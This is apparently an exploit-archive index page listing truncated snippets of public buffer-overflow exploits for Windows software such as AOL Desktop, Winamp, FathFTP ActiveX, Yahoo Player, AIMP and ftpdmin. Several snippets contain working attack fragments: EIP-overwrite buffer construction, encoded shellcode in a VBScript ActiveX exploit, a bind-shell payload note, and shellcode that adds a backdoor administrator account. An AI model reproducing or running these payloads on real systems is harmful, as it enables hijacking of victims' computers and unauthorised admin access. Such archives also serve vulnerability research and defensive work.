AOL Desktop 9.6 - '.rtx' Local Buffer Overflow

!/usr/bin/python Vulnerable app: AOL Desktop 9.6 Author: sickness Download : http://daol.aol.com/software/aoldesktop96/ kudos to sup3r: http://www.exploit-db.com/exploits/16085/ Tested : Windows XP Professional SP3 EN latest updates DATE : 02/02/2011 NOTE: If exploit doesn't work turn AOL off...

AOL Desktop 9.6 Buffer Overflow

!/usr/bin/python Vulnerable app: AOL Desktop 9.6 Author: sickness Download : http://daol.aol.com/software/aoldesktop96/ Tested : Windows XP Professional SP3 EN latest updates DATE : 02/02/2011 NOTE: If exploit doesn't work turn AOL off CTRL+ALT+DELETE and turn all AOL processes off then try again...

Winamp 5.5.8 (in_mod plugin) Stack Overflow Exploit (SEH)

Exploit for windows platform in category local exploits !/usr/bin/python finally got time to finish what I started... Winamp 5.5.8.2985 inmod plugin Stack Overflow SEH WINDOWS XP SP3 EN Fully Patched Bug found by http://www.exploit-db.com/exploits/15248/ POC and Exploit by fdisk This POC was...

Winamp 5.5.8 (in_mod plugin) - Local Stack Overflow (SEH)

Winamp 5.5.8 inmod plugin - Local Stack Overflow SEH !/usr/bin/python finally got time to finish what I started... Winamp 5.5.8.2985 inmod plugin Stack Overflow SEH WINDOWS XP SP3 EN Fully Patched Bug found by http://www.exploit-db.com/exploits/15248/ POC and Exploit by @fdiskyou e-mail: rui at...

A-PDF WAV to MP3 1.0.0 - Universal Local (SEH)

A-PDF WAV to MP3 1.0.0 - Universal Local SEH !/usr/bin/env python Title: A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit Exloit By: DrIDE Tested On: XPSP3 Date: August 18, 2010 Download: http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html Reference:...

FathFTP 1.7 Active-X Buffer Overflow

' Exploit Title: FathFTP 1.7 ActiveX Buffer Overflow ' Date: July 7, 2010 ' Author: Blake ' Software Link: http://www.softpedia.com/get/Programming/Components-Libraries/FathFTP.shtml ' Version: 1.7 ' Tested on: Windows XP SP3 / IE6 ' Note: The GetFromURL member is also vulnerable to a stack...

FathFTP 1.7 ActiveX Buffer Overflow

Exploit for windows platform in category remote exploits =================================== FathFTP 1.7 ActiveX Buffer Overflow =================================== ' Exploit Title: FathFTP 1.7 ActiveX Buffer Overflow ' Date: July 7, 2010 ' Author: Blake ' Software Link:...

FathFTP 1.7 - ActiveX Buffer Overflow

' Exploit Title: FathFTP 1.7 ActiveX Buffer Overflow ' Date: July 7, 2010 ' Author: Blake ' Software Link: http://www.softpedia.com/get/Programming/Components-Libraries/FathFTP.shtml ' Version: 1.7 ' Tested on: Windows XP SP3 / IE6 ' Note: The GetFromURL member is also vulnerable to a stack...

IDEAL Migration 2009 4.5.1 Buffer Overflow

!/usr/bin/env python IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit Found By: DrIDE Usage: Right Click First Element in tree - Open Migration Project - Bind Shell Download: www.pointdev.com Tested On: Windows XPSP3 windows/shellbindtcp - 696 bytes Encoder: x86/alphamixed EXITFUNC=seh,...

IDEAL Administration 2010 v10.2 Local Buffer Overflow Exploit

Exploit for windows platform in category local exploits ============================================================= IDEAL Administration 2010 v10.2 Local Buffer Overflow Exploit ============================================================= !/usr/bin/env python IDEAL Administration 2010 v10.2...

IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit

Exploit for windows platform in category local exploits ========================================================= IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit ========================================================= !/usr/bin/env python IDEAL Migration 2009 v4.5.1 Local Buffer...

Viscom Software Movie Player Pro SDK ActiveX 6.8 Buffer Overflow

Exploit for windows platform in category remote exploits ======================================================================= Viscom Software Movie Player Pro SDK ActiveX 6.8 Remote Buffer Overflow ======================================================================= -----BEGIN PGP SIGNED...

Yahoo Player 1.0 - '.m3u' Local Buffer Overflow

Title: Yahoo Player v1.0 .m3u Buffer Overflow Exploit direct EIP overwrite Date: 2010-03-07 Author: BombardMr. tro0oqy originally discovered it, and gave a SEH Version:1.0 Tested on: Windows XP SP2 CVE: my $file="crash.m3u"; my $junkA="A"x2080; my $eip=pack'V',0x7c80ae31; eip my $junkC="C"x12;...

Yahoo Player 1.0 - .m3u Local Buffer Overflow

Yahoo Player 1.0 - .m3u Local Buffer Overflow Title: Yahoo Player v1.0 .m3u Buffer Overflow Exploit direct EIP overwrite Date: 2010-03-07 Author: BombardMr. tro0oqy originally discovered it, and gave a SEH Version:1.0 Tested on: Windows XP SP2 CVE: my $file="crash.m3u"; my $junkA="A"x2080; my...

Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps) Overlong DSC Comment Buffer Overflow Exploit

?php / Adobe Illustrator CS4 V14.0.0 Encapsulated Postscript .eps overlong DSC Comment Buffer Overflow Exploit by Nine:Situations:Group::pyrokinesis site: http://retrogod.altervista.org/ An overlong string as DSC comment more than 42000 bytes results in a direct EIP overwrite. Exception is...

AOL 9.1 SuperBuddy SetSuperBuddy() Code Execution

Set obj = CreateObject"Sb.SuperBuddy.1" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

AIMP 2.51 build 330 - ID3v1ID3v2 Tag Remote Stack Buffer Overflow (PoC) (SEH)

AIMP 2.51 build 330 - ID3v1ID3v2 Tag Remote Stack Buffer Overflow PoC SEH | | / | AIMP 2.51 build 330 ID3v1/ID3v2 Tag | /---, | Remote Stack Buffer Overflow PoC SEH | ----- ==| | | | : ==| |......................................................| -----'---- | || | ' |==== | /,-,"--"------ //,-,...

AIMP 2.51 build 330 (ID3v1/ID3v2 Tag) Remote Stack BOF PoC (SEH)

Exploit for unknown platform in category dos / poc ================================================================ AIMP 2.51 build 330 ID3v1/ID3v2 Tag Remote Stack BOF PoC SEH ================================================================ | | / | AIMP 2.51 build 330 ID3v1/ID3v2 Tag | /---, |...

ftpdmin 0.96 RNFR Remote Buffer Overflow Exploit (xp sp3/case study)

No description provided by source. ?php / ftpdmin v. 0.96 RNFR remote buffer overflow exploit xp sp3 / case study by Nine:Situations:Group::surfista software site: http://www.sentex.net/mwandel/ftpdmin/ our site: http://retrogod.altervista.org/ bug found by rgod in 2006, RNFR sequences can trigge...

FTPDMIN 0.96 (Windows XP SP3) - 'RNFR' Remote Buffer Overflow

".$cmd."\n"; $buff=ftpraw$connid,$cmd; WinExec shellcode of mine, enconded with the alpha2 tool by SkyLined, adds a "surfista" admin user with pass "pass" contains hardcoded address, re-encode command: alpha2 esp shdmp.txt $scode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"...